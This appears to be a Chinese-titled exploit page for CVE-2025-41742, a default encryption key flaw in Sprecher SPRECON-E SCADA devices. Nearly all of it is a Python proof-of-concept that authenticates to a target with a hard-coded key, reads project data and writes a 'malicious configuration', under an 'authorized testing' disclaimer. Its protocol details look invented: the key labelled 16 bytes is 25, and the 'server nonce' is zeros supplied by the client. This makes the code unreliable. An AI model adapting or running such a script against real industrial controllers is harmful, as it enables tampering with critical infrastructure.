CVE-2025-41742 Sprecher SPRECON-E系列SCADA默认加密密钥漏洞

#!/usr/bin/env python3 """ CVE-2025-41742 PoC - Sprecher SPRECON-E Default Encryption Key Exploitation Note: This is for educational and authorized testing purposes only """ import socket import struct import hashlib from Crypto.Cipher import AES TARGET_HOST = "target_device_ip" TARGET_PORT = 12345 DEFAULT_KEY = b"SPRECON_E_DEFAULT_KEY_16B" # Example placeholder key def generate_session_key(default_key, nonce): """Generate session encryption key using default key and nonce""" return hashlib.sha256(default_key + nonce).digest()[:16] def exploit_default_key(): """Attempt to exploit default encryption key vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_HOST, TARGET_PORT)) # Step 1: Send authentication request with default key nonce = b"\x00" * 16 # Server nonce session_key = generate_session_key(DEFAULT_KEY, nonce) auth_packet = struct.pack('>I', 0x01) + session_key + nonce sock.send(auth_packet) # Step 2: Receive authentication response response = sock.recv(1024) if response and response[0:4] == b"\x00\x00\x00\x01": print("[+] Authentication successful with default key") # Step 3: Read project data read_cmd = struct.pack('>I', 0x02) + b"\x01\x00\x00\x00" sock.send(read_cmd) project_data = sock.recv(4096) print(f"[+] Project data retrieved: {len(project_data)} bytes") # Step 4: Write malicious configuration malicious_config = b"MALICIOUS_CONFIG_DATA" write_cmd = struct.pack('>I', 0x03) + malicious_config sock.send(write_cmd) print("[+] Malicious configuration written successfully") return True else: print("[-] Authentication failed") return False except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": print("CVE-2025-41742 PoC - SPRECON-E Default Key Exploitation") exploit_default_key()